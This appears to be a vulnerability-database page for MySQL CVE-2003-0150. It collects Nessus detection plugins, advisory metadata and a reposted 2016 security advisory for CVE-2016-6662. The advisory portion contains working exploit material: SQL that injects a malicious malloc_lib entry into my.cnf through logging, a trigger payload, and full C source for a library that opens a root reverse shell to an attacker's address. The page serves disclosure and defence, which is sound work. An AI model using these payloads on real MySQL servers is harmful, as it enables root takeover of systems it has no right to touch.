Vulnerabilities > CVE-2003-0150 - Privilege Escalation vulnerability in MySQL mysqld

047910
CVSS 9.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
SINGLE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
oracle
critical
nessus
exploit available

Summary

MySQL 3.23.55 and earlier creates world-writeable files and allows mysql users to gain root privileges by using the "SELECT * INFO OUTFILE" operator to overwrite a configuration file and cause mysql to run as root upon restart, as demonstrated by modifying my.cnf.

Exploit-Db

descriptionMySQL 3.23.x mysqld Privilege Escalation Vulnerability. CVE-2003-0150. Local exploit for linux platform
idEDB-ID:22340
last seen2016-02-02
modified2003-03-08
published2003-03-08
reporter[email protected]
sourcehttps://www.exploit-db.com/download/22340/
titleMySQL 3.23.x - mysqld Privilege Escalation Vulnerability

Nessus

  • NASL familyRed Hat Local Security Checks
    NASL idREDHAT-RHSA-2003-094.NASL
    descriptionUpdated packages are available that fix both a double-free security vulnerability and a remote root exploit security vulnerability found in the MySQL server. [Updated 11 Aug 2003] Updated mysqlclient9 packages are now included. These were previously missing from this erratum. MySQL is a multi-user, multi-threaded SQL database server. A double-free vulnerability in mysqld, for MySQL before version 3.23.55, allows attackers with MySQL access to cause a denial of service (crash) by creating a carefully crafted client application. A remote root exploit vulnerability in mysqld, for MySQL before version 3.23.56, allows MySQL users to gain root privileges by overwriting configuration files. Previous versions of the MySQL packages do not contain the thread safe client library (libmysqlclient_r). All users of MySQL are advised to upgrade to these errata packages containing MySQL 3.23.56.
    last seen2020-06-01
    modified2020-06-02
    plugin id12378
    published2004-07-06
    reporterThis script is Copyright (C) 2004-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/12378
    titleRHEL 2.1 : mysql (RHSA-2003:094)
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from Red Hat Security Advisory RHSA-2003:094. The text 
    # itself is copyright (C) Red Hat, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(12378);
      script_version ("1.22");
      script_cvs_date("Date: 2019/10/25 13:36:10");
    
      script_cve_id("CVE-2003-0073", "CVE-2003-0150");
      script_xref(name:"RHSA", value:"2003:094");
    
      script_name(english:"RHEL 2.1 : mysql (RHSA-2003:094)");
      script_summary(english:"Checks the rpm output for the updated packages");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote Red Hat host is missing one or more security updates."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "Updated packages are available that fix both a double-free security
    vulnerability and a remote root exploit security vulnerability found
    in the MySQL server.
    
    [Updated 11 Aug 2003] Updated mysqlclient9 packages are now included.
    These were previously missing from this erratum.
    
    MySQL is a multi-user, multi-threaded SQL database server.
    
    A double-free vulnerability in mysqld, for MySQL before version
    3.23.55, allows attackers with MySQL access to cause a denial of
    service (crash) by creating a carefully crafted client application.
    
    A remote root exploit vulnerability in mysqld, for MySQL before
    version 3.23.56, allows MySQL users to gain root privileges by
    overwriting configuration files.
    
    Previous versions of the MySQL packages do not contain the thread safe
    client library (libmysqlclient_r).
    
    All users of MySQL are advised to upgrade to these errata packages
    containing MySQL 3.23.56."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://access.redhat.com/security/cve/cve-2003-0073"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://access.redhat.com/security/cve/cve-2003-0150"
      );
      # http://www.mysql.com/doc/en/News-3.23.55.html
      script_set_attribute(
        attribute:"see_also",
        value:"https://dev.mysql.com/doc/refman/4.1/en/news-3-23-55.html"
      );
      # http://www.mysql.com/doc/en/News-3.23.56.html
      script_set_attribute(
        attribute:"see_also",
        value:"https://dev.mysql.com/doc/refman/4.1/en/news-3-23-56.html"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://access.redhat.com/errata/RHSA-2003:094"
      );
      script_set_attribute(attribute:"solution", value:"Update the affected packages.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:redhat:enterprise_linux:mysql");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:redhat:enterprise_linux:mysql-devel");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:redhat:enterprise_linux:mysql-server");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:redhat:enterprise_linux:mysqlclient9");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:redhat:enterprise_linux:2.1");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2003/02/19");
      script_set_attribute(attribute:"patch_publication_date", value:"2003/08/25");
      script_set_attribute(attribute:"plugin_publication_date", value:"2004/07/06");
      script_set_attribute(attribute:"generated_plugin", value:"current");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2004-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"Red Hat Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/RedHat/release", "Host/RedHat/rpm-list", "Host/cpu");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("rpm.inc");
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    release = get_kb_item("Host/RedHat/release");
    if (isnull(release) || "Red Hat" >!< release) audit(AUDIT_OS_NOT, "Red Hat");
    os_ver = pregmatch(pattern: "Red Hat Enterprise Linux.*release ([0-9]+(\.[0-9]+)?)", string:release);
    if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Red Hat");
    os_ver = os_ver[1];
    if (! preg(pattern:"^2\.1([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Red Hat 2.1", "Red Hat " + os_ver);
    
    if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    cpu = get_kb_item("Host/cpu");
    if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
    if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$" && "s390" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Red Hat", cpu);
    if (cpu !~ "^i[3-6]86$") audit(AUDIT_ARCH_NOT, "i386", cpu);
    
    yum_updateinfo = get_kb_item("Host/RedHat/yum-updateinfo");
    if (!empty_or_null(yum_updateinfo)) 
    {
      rhsa = "RHSA-2003:094";
      yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);
      if (!empty_or_null(yum_report))
      {
        security_report_v4(
          port       : 0,
          severity   : SECURITY_HOLE,
          extra      : yum_report 
        );
        exit(0);
      }
      else
      {
        audit_message = "affected by Red Hat security advisory " + rhsa;
        audit(AUDIT_OS_NOT, audit_message);
      }
    }
    else
    {
      flag = 0;
      if (rpm_check(release:"RHEL2.1", cpu:"i386", reference:"mysql-3.23.56-1.72")) flag++;
      if (rpm_check(release:"RHEL2.1", cpu:"i386", reference:"mysql-devel-3.23.56-1.72")) flag++;
      if (rpm_check(release:"RHEL2.1", cpu:"i386", reference:"mysql-server-3.23.56-1.72")) flag++;
      if (rpm_check(release:"RHEL2.1", cpu:"i386", reference:"mysqlclient9-3.23.22-8")) flag++;
    
      if (flag)
      {
        security_report_v4(
          port       : 0,
          severity   : SECURITY_HOLE,
          extra      : rpm_report_get() + redhat_report_package_caveat()
        );
        exit(0);
      }
      else
      {
        tested = pkg_tests_get();
        if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
        else audit(AUDIT_PACKAGE_NOT_INSTALLED, "mysql / mysql-devel / mysql-server / mysqlclient9");
      }
    }
    
  • NASL familyDatabases
    NASL idSHN_MYSQL_PRIVILEGE_ESCALATION.NASL
    descriptionThe remote version of MySQL is older than 3.23.56. Such versions are affected by an issue that may allow the mysqld service to start with elevated privileges. An attacker can exploit this vulnerability by creating a
    last seen2020-06-01
    modified2020-06-02
    plugin id11378
    published2003-03-14
    reporterThis script is Copyright (C) 2003-2018 StrongHoldNet
    sourcehttps://www.tenable.com/plugins/nessus/11378
    titleMySQL datadir/my.cnf Modification Privilege Escalation
    code
    #
    # This script was written by Vincent Renardias <[email protected]>
    #
    # See the Nessus Scripts License for details
    #
    # Changes by Tenable:
    # - Revised plugin title (1/23/09)
    # - changed family (9/5/09)
    # - Updated to use compat.inc (11/20/2009)
    
    
    
    include("compat.inc");
    
    if(description)
    {
     script_id(11378);
     script_version ("1.23");
     script_cve_id("CVE-2003-0150");
     script_bugtraq_id(7052);
    
     script_name(english:"MySQL datadir/my.cnf Modification Privilege Escalation");
     
     script_set_attribute(attribute:"synopsis", value:
    "The remote database server is prone to a privilege escalation attack." );
     script_set_attribute(attribute:"description", value:
    "The remote version of MySQL is older than 3.23.56.  Such versions are
    affected by an issue that may allow the mysqld service to start with
    elevated privileges.  An attacker can exploit this vulnerability by
    creating a 'DATADIR/my.cnf' that includes the line 'user=root' under
    the '[mysqld]' option section.  When the mysqld service is executed,
    it will run as the root user instead of the default user." );
     script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2003/Mar/133");
     script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2003/Mar/144");
     script_set_attribute(attribute:"solution", value:
    "Upgrade to at least version 3.23.56." );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
     script_set_attribute(attribute:"plugin_publication_date", value: "2003/03/14");
     script_set_attribute(attribute:"vuln_publication_date", value: "2003/03/08");
     script_cvs_date("Date: 2018/11/15 20:50:21");
    script_set_attribute(attribute:"plugin_type", value:"remote");
    script_set_attribute(attribute:"cpe", value:"cpe:/a:oracle:mysql");
    script_end_attributes();
    
     
     script_summary(english:"Checks for the remote MySQL version");
     script_category(ACT_GATHER_INFO);
     script_copyright(english:"This script is Copyright (C) 2003-2018 StrongHoldNet");
     script_family(english:"Databases");
     script_dependencie("find_service1.nasl", "mysql_version.nasl");
     script_require_ports("Services/mysql", 3306);
     exit(0);
    }
    
    #
    # The script code starts here
    #
    
    include("misc_func.inc");
    
    port = get_kb_item("Services/mysql");
    if(!port)port = 3306;
    ver=get_mysql_version(port:port);
    if (isnull(ver)) exit(0);
    
    if(ereg(pattern:"^3\.(([0-9]\..*)|(1[0-9]\..*)|(2(([0-2]\..*)|3\.(([0-9]$)|([0-4][0-9])|(5[0-5])))))",
    	string:ver))security_hole(port);
    
  • NASL familyMandriva Local Security Checks
    NASL idMANDRAKE_MDKSA-2003-057.NASL
    descriptionIn MySQL 3.23.55 and earlier, MySQL would create world-writeable files and allow mysql users to gain root privileges by using the
    last seen2020-06-01
    modified2020-06-02
    plugin id14041
    published2004-07-31
    reporterThis script is Copyright (C) 2004-2019 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/14041
    titleMandrake Linux Security Advisory : MySQL (MDKSA-2003:057)
  • NASL familyDatabases
    NASL idMYSQL_3_23_56.NASL
    descriptionThe version of MySQL installed on the remote host is older than 3.23.56. As such, it reportedly creates world-writeable files. By restarting the MySQL daemon under root ID, a local attacker could gain root privileges.
    last seen2020-06-01
    modified2020-06-02
    plugin id17820
    published2012-01-18
    reporterThis script is Copyright (C) 2012-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/17820
    titleMySQL < 3.23.56 Writable Configuration Files
  • NASL familyDebian Local Security Checks
    NASL idDEBIAN_DSA-303.NASL
    descriptionCAN-2003-0073: The mysql package contains a bug whereby dynamically allocated memory is freed more than once, which could be deliberately triggered by an attacker to cause a crash, resulting in a denial of service condition. In order to exploit this vulnerability, a valid username and password combination for access to the MySQL server is required. CAN-2003-0150: The mysql package contains a bug whereby a malicious user, granted certain permissions within mysql, could create a configuration file which would cause the mysql server to run as root, or any other user, rather than the mysql user.
    last seen2020-06-01
    modified2020-06-02
    plugin id15140
    published2004-09-29
    reporterThis script is Copyright (C) 2004-2019 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/15140
    titleDebian DSA-303-1 : mysql - privilege escalation

Oval

accepted2010-09-20T04:00:25.618-04:00
classvulnerability
contributors
  • nameJay Beale
    organizationBastille Linux
  • nameJay Beale
    organizationBastille Linux
  • nameThomas R. Jones
    organizationMaitreya Security
  • nameJonathan Baker
    organizationThe MITRE Corporation
descriptionMySQL 3.23.55 and earlier creates world-writeable files and allows mysql users to gain root privileges by using the "SELECT * INFO OUTFILE" operator to overwrite a configuration file and cause mysql to run as root upon restart, as demonstrated by modifying my.cnf.
familyunix
idoval:org.mitre.oval:def:442
statusaccepted
submitted2003-08-18T12:00:00.000-04:00
titleMYSQL Privilege Escalation Vulnerability via INFO OUTFILE Select
version41

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/138678/mysql-rootprivesc.txt
idPACKETSTORM:138678
last seen2016-12-05
published2016-09-12
reporterDawid Golunski
sourcehttps://packetstormsecurity.com/files/138678/MySQL-5.7.15-5.6.33-5.5.52-Remote-Code-Execution.html
titleMySQL 5.7.15 / 5.6.33 / 5.5.52 Remote Code Execution

Redhat

advisories
  • rhsa
    idRHSA-2003:093
  • rhsa
    idRHSA-2003:094

Seebug

bulletinFamilyexploit
description- http://legalhackers.com - dawid (at) legalhackers.com - Release date: 12.09.2016 I. VULNERABILITY ------------------------- MySQL <= 5.7.15 Remote Root Code Execution / Privilege Escalation (0day) 5.6.33 5.5.52 MySQL clones are also affected, including: MariaDB PerconaDB II. BACKGROUND ------------------------- "MySQL is the world's most popular open source database. Whether you are a fast growing web property, technology ISV or large enterprise, MySQL can cost-effectively help you deliver high performance, scalable database applications." "Many of the world's largest and fastest-growing organizations including Facebook, Google, Adobe, Alcatel Lucent and Zappos rely on MySQL to save time and money powering their high-volume Web sites, business-critical systems and packaged software." * http://www.mysql.com/products/ * http://www.mysql.com/why-mysql/ * http://db-engines.com/en/system/MySQL III. INTRODUCTION ------------------------- An independent research has revealed multiple severe MySQL vulnerabilities. This advisory focuses on a critical vulnerability with a CVEID of CVE-2016-6662 which can allow attackers to (remotely) inject malicious settings into MySQL configuration files (my.cnf) leading to critical consequences. The vulnerability affects all MySQL servers in default configuration in all version branches (5.7, 5.6, and 5.5) including the latest versions, and could be exploited by both local and remote attackers. Both the authenticated access to MySQL database (via network connection or web interfaces such as phpMyAdmin) and SQL Injection could be used as exploitation vectors. As SQL Injection attacks are one of the most common issues in web applications, the CVE-2016-6662 vulnerabilty could put web applications at a critical risk in case of a successful SQL Injection attack. A successful exploitation could allow attackers to execute arbitrary code with root privileges which would then allow them to fully compromise the server on which an affected version of MySQL is running. Official patches for the vulnerability are not available at this time for Oracle MySQL server. The vulnerability can be exploited even if security modules SELinux and AppArmor are installed with default active policies for MySQL service on major Linux distributions. This advisory provides a Proof-Of-Concept MySQL exploit which demonstrates how Remote Root Code Execution could be achieved by attackers. IV. DESCRIPTION ------------------------- The default MySQL package comes with a mysqld_safe script which is used by many default installations/packages of MySQL as a wrapper to start the MySQL service process which can observed, for example, in case of the following fully-updated Debian system: ``` root@debian:~# lsb_release -a No LSB modules are available. Distributor ID: Debian Description: Debian GNU/Linux 8.5 (jessie) Release: 8.5 Codename: jessie root@debian:~# dpkg -l | grep -i mysql-server ii mysql-server 5.5.50-0+deb8u1 ii mysql-server-5.5 5.5.50-0+deb8u1 ii mysql-server-core-5.5 5.5.50-0+deb8u1 ``` After starting MySQL (installed from packages provided in the default Debian repositories) by running root@debian:~# service mysql start or, alternatively: ``` root@debian:~# /etc/init.d/mysql start The MySQL server process tree looks as follows: root 14967 0.0 0.1 4340 1588 ? S 06:41 0:00 /bin/sh /usr/bin/mysqld_safe mysql 15314 1.2 4.7 558160 47736 ? Sl 06:41 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306 ``` As can be seen, the mysqld_safe wrapper script is executed as root, whereas the main mysqld process drops its privileges to mysql user. The wrapper script has the following function : ----[ /usr/bin/mysqld_safe ]---- ``` [...] # set_malloc_lib LIB # - If LIB is empty, do nothing and return # - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib # then pkglibdir. tcmalloc is part of the Google perftools project. # - If LIB is an absolute path, assume it is a malloc shared library # # Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when # running mysqld. See ld.so for details. set_malloc_lib() { malloc_lib="$1" if [ "$malloc_lib" = tcmalloc ]; then pkglibdir=`get_mysql_config --variable=pkglibdir` malloc_lib= # This list is kept intentionally simple. Simply set --malloc-lib # to a full path if another location is desired. for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do for flavor in _minimal '' _and_profiler _debug; do tmp="$libdir/libtcmalloc$flavor.so" #log_notice "DEBUG: Checking for malloc lib '$tmp'" [ -r "$tmp" ] || continue malloc_lib="$tmp" break 2 done done [...] ``` which can be used to preload a shared library before starting the server. The library can be set with the following parameter: --malloc-lib=LIB This parameter can also be specified within a mysql config file (my.cnf) in a '[mysqld]' or '[mysqld_safe]' section. If an attacker managed to inject a path to their malicious library within the config, they would be able to preload an arbitrary library and thus execute arbitrary code with root privileges when MySQL service is restarted (manually, via a system update, package update, system reboot etc.) In 2003 a vulnerability was disclosed in MySQL versions before 3.23.55 that allowed users to create mysql config files with a simple statement: ``` SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf' ``` The issue was fixed by refusing to load config files with world-writable permissions as these are the default permissions applied to files created by OUTFILE query. As an additional protection, OUTFILE/DUMPFILE statements are prohibited from overwrite existing files. This protects existing configuration files. The old vulnerability has been considered fixed ever since the MySQL 3.23.55 was released in 2003, and writing to configuration files has been considered impossible. However, the V. PROOF OF CONCEPT section below will show that it is possible to successfully bypass current restrictions by abusing MySQL logging functions (available in every MySQL install by default) to achieve the following: 1) Inject malicious configuration into existing MySQL configuration files on systems with weak/improper permissions (configs owned by/writable by mysql user). 2) Create new configuration files within a MySQL data directory (writable by MySQL by default) on _default_ MySQL installs without the need to rely on improper config permisions. 3) Attackers with only SELECT/FILE permissions can gain access to logging functions (normally only available to MySQL admin users) on all of the _default_ MySQL installations and thus be in position to add/modify MySQL config files. V. PROOF OF CONCEPT ------------------------- 1) Inject malicious configuration into existing MySQL configuration files on systems with weak/improper permissions (configs owned by/writable by mysql user). ~~~~~~~~~~~~~~~~~~~~~~~~~ MySQL configuration files are loaded from all supported locations and processed one by one when mysqld_safe script is executed. Exact config locations depend on MySQL version. For example, as described on: http://dev.mysql.com/doc/refman/5.5/en/option-files.html for MySQL 5.5 the config locations include: /etc/my.cnf Global options /etc/mysql/my.cnf Global options SYSCONFDIR/my.cnf Global options $MYSQL_HOME/my.cnf Server-specific options defaults-extra-file The file specified with --defaults-extra-file=file_name, if any ~/.my.cnf User-specific options There is a common misconception that mysql config files should be owned by mysql user for the server to work properly. Many installation guides, or even security guides often wrongly advise users to set the ownership of mysql config files/directories such as /etc/mysql or /etc/my.cnf to mysql user. For example: https://github.com/willfong/mariadb-backup/blob/master/README.md says: "Lock down permissions on config file(s) chown mysql /etc/my.cnf chmod 600 /etc/my.cnf" Whereas the article at: http://www.devshed.com/c/a/mysql/security-issues-with-mysql/ mentions: "You should also protect the global option file, /etc/my.cnf, if it exists. The mysql user should own it and have read/write access to it, but other users need only read access: shell> chown mysql /etc/my.cnf" Moreover, there are also MySQL recipes for installation automatation software such as Chef that also provide users with vulnerable permissions on my.cnf config files. If any of the MySQL config files is owned by mysql user, an attacker could append malicious config entries to it as follows: root@debian:~/# ls -l /etc/my.cnf -rw-r--r-- 1 mysql mysql 72 Jul 28 17:20 /etc/my.cnf root@debian:~/# cat /etc/my.cnf [mysqld] key_buffer = 16M max_allowed_packet = 16M Attacker could run the following SQL queries: ``` mysql> set global general_log_file = '/etc/my.cnf'; mysql> set global general_log = on; mysql> select ' '> '> ; injected config entry '> '> [mysqld] '> malloc_lib=/tmp/mysql_exploit_lib.so '> '> [separator] '> '> '; 1 row in set (0.00 sec) mysql> set global general_log = off; The resulting config would then have the following part appended: root@debian:~/# cat /etc/my.cnf [mysqld] key_buffer = 16M max_allowed_packet = 16M /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with: Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock Time Id Command Argument 160728 17:25:14 40 Query select ' ; injected config entry [mysqld] malloc_lib=/tmp/mysql_exploit_lib.so [separator] ' 160728 17:25:15 40 Query set global general_log = off ``` This config contains some redundant information that would normally cause MySQL to fail to startup during a restart due to parsing issues. However, the important part is that the config now contains the section: [mysqld] malloc_lib=/tmp/mysql_exploit_lib.so mysqld_safe will read the shared library path correctly and add it to the LD_PRELOAD environment variable before the startup of mysqld daemon. The preloaded library can then hook the libc fopen() calls and clean up the config before it is ever processed by mysqld daemon in order for it to start up successfully. ~~~~~~~~~~~~~~~~~~~~~~~~~ 2) Create new configuration files within a MySQL data directory (writable by MySQL by default) on _default_ MySQL installs without the need to rely on improper config permisions. Analysis of the mysqld_safe script has shown that in addition to the config locations provided above, mysqld_safe also loads the configuration file from the mysql data directory (/var/lib/mysql/my.cnf) by default as can be seen below: ----[ /usr/bin/mysqld_safe ]---- ``` [...] # Try where the binary installs put it if test -d $MY_BASEDIR_VERSION/data/mysql then DATADIR=$MY_BASEDIR_VERSION/data if test -z "$defaults" -a -r "$DATADIR/my.cnf" then defaults="--defaults-extra-file=$DATADIR/my.cnf" fi [...] ----------[ eof ]--------------- ``` on MySQL versions in branches 5.5 and 5.6. The datadir location for my.cnf has only been removed from MySQL starting from 5.7 branch however in many configurations it will still load config from: /var/lib/mysql/.my.cnf The data directory /var/lib/mysql is (obviously) writable by mysql user on every install: root@debian:~# ls -ld /var/lib/mysql/ drwx------ 4 mysql mysql 4096 Jul 28 06:41 /var/lib/mysql/ Therefore, if no mysql-owned configs are available on the system, an attacker could still be able to exploit the vulnerability by creating a config at the following locations: /var/lib/mysql/my.cnf /var/lib/mysql/.my.cnf As mentioned, using FILE permission to create such a file with the SQL statement: SELECT 'malicious config entry' INTO OUTFILE '/var/lib/mysql/my.cnf' would not work, as MySQL creates files with rw permissions for the world: -rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf and MySQL would prevent such world-writable config from being loaded at startup. ``` Attackers could bypass this however by using these logging SQL statements: mysql> set global general_log_file = '/var/lib/mysql/my.cnf'; mysql> set global general_log = on; mysql> select ' '> '> ; injected config entry '> '> [mysqld] '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so '> '> [separator] '> '> '; 1 row in set (0.00 sec) mysql> set global general_log = off; The queries will create the my.cnf file with the necessary permissions (without o-w bit) for it to be parsed by the MySQL daemon: # ls -l /var/lib/mysql/my.cnf -rw-rw---- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf The file will have the following contents: # cat /var/lib/mysql/my.cnf /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with: Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock Time Id Command Argument 160728 17:48:22 43 Query select ' ; injected config entry [mysqld] malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so [separator] ' 160728 17:48:23 43 Query set global general_log = off ``` One problem will remain however. MySQL will refuse files that do not start with a valid [section] header with the message: error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1 Fatal error in defaults handling. Program aborted Further testing has however proved that it is possible to bypass this security restriction as well but these will not be included in this advisory for the time being. It is worth to note that attackers could use one of the other vulnerabilities discovered by the author of this advisory which has been assigned a CVEID of CVE-2016-6663 and is pending disclosure. The undisclosed vulnerability makes it easy for certain attackers to create /var/lib/mysql/my.cnf file with arbitrary contents without the FILE privilege requirement. ~~~~~~~~~~~~~~~~~~~~~~~~~ 3) Attackers with only SELECT/FILE permissions can gain access to logging functions (normally only available to MySQL admin users) on all of the _default_ MySQL installations and thus be in position to add/modify MySQL config files. If attackers do not have administrative rights required to access logging settings and only have standard user privileges with the addition of FILE privilege then they could still gain the ability to write to / modify configuration files. This could be achieved by writing a malicious trigger payload: ``` CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf AFTER INSERT ON `active_table` FOR EACH ROW BEGIN DECLARE void varchar(550); set global general_log_file='/var/lib/mysql/my.cnf'; set global general_log = on; select " [mysqld] malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so' " INTO void; set global general_log = off; END; into a trigger file of an actively used table ('active_table') with the use of a statement similar to: SELECT '....trigger_code...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG' Such trigger will be loaded when tables get flushed. From this point on whenever an INSERT statement is invoked on the table, e.g: INSERT INTO `active_table` VALUES('xyz'); ``` The trigger's code will be executed with mysql root user privileges (see 'definer' above) and will thus let attacker to modify the general_log settings despite the lack of administrative privileges on their standard account. ------------------ VI. PROOF OF CONCEPT - 0day 0ldSQL_MySQL_RCE_exploit.py exploit ----------[ 0ldSQL_MySQL_RCE_exploit.py ]-------------- --------------------------------------------------- ----------[ mysql_hookandroot_lib.c ]-------------- ``` /* (CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit mysql_hookandroot_lib.c This is the shared library injected by 0ldSQL_MySQL_RCE_exploit.py exploit. The library is meant to be loaded by mysqld_safe on mysqld daemon startup to create a reverse shell that connects back to the attacker's host on 6603 port (mysql port in reverse ;) and provides a root shell on the target. mysqld_safe will load this library through the following setting: [mysqld] malloc_lib=mysql_hookandroot_lib.so in one of the my.cnf config files (e.g. /etc/my.cnf). This shared library will hook the execvp() function which is called during the startup of mysqld process. It will then fork a reverse shell and clean up the poisoned my.cnf file in order to let mysqld run as normal so that: 'service mysql restart' will work without a problem. Before compiling adjust IP / PORT and config path. ~~ Discovered/Coded by: Dawid Golunski http://legalhackers.com ~~ Compilation (remember to choose settings compatible with the remote OS/arch): gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl Disclaimer: For testing purposes only. Do no harm. Full advisory URL: http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt */ #define _GNU_SOURCE #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <string.h> #include <dlfcn.h> #include <stdlib.h> #include <stdarg.h> #include <fcntl.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define ATTACKERS_IP "127.0.0.1" #define SHELL_PORT 6033 #define INJECTED_CONF "/var/lib/mysql/my.cnf" char* env_list[] = { "HOME=/root", NULL }; typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]); static execvp_func_t old_execvp = NULL; // fork & send a bash shell to the attacker before starting mysqld void reverse_shell(void) { int i; int sockfd; //socklen_t socklen; struct sockaddr_in srv_addr; srv_addr.sin_family = AF_INET; srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip // create new TCP socket && connect sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP ); connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr)); for(i = 0; i <= 2; i++) dup2(sockfd, i); execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list ); exit(0); } /* cleanup injected data from the target config before it is read by mysqld in order to ensure clean startup of the service The injection (if done via logging) will start with a line like this: /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with: */ int config_cleanup() { FILE *conf; char buffer[2000]; long cut_offset=0; conf = fopen(INJECTED_CONF, "r+"); if (!conf) return 1; while (!feof(conf)) { fgets(buffer, sizeof(buffer), conf); if (strstr(buffer,"/usr/sbin/mysqld, Version")) { cut_offset = (ftell(conf) - strlen(buffer)); } } if (cut_offset>0) ftruncate(fileno(conf), cut_offset); fclose(conf); return 0; } // execvp() hook int execvp(const char* filename, char* const argv[]) { pid_t pid; int fd; // Simple root PoC (touch /root/root_via_mysql) fd = open("/root/root_via_mysql", O_CREAT); close(fd); old_execvp = dlsym(RTLD_NEXT, "execvp"); // Fork a reverse shell and execute the original execvp() function pid = fork(); if (pid == 0) reverse_shell(); // clean injected payload before mysqld is started config_cleanup(); return old_execvp(filename, argv); } ``` Replication / testing: ~~~~~~~~~~~~~~~~~~ As admin on the target system: ~~~~~~~~ 1. Set up a test database account/permissions: CREATE DATABASE pocdb; GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!'; GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'; 2. Simulate write access on any of available mysql configs. It just needs to be a valid/parsable config with section e.g: ``` [isamchk] key_buffer = 16M For example, /etc/mysql/my.cnf on Debian: # chown mysql:mysql /etc/mysql/my.cnf # ls -l /etc/mysql/my.cnf -rw-r--r-- 1 mysql mysql 3534 Sep 11 02:15 /etc/mysql/my.cnf ``` 3. Run the exploit as the attacker and restart mysql when exploit is done. As attacker: ~~~~~~~~ ``` 1. Enter your library path in mysql_hookandroot_lib.c src. 2. Run the 0ldSQL_MySQL_RCE_exploit.py script. ``` Example run: ~~~~~~~~ ``` attacker$ ./0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 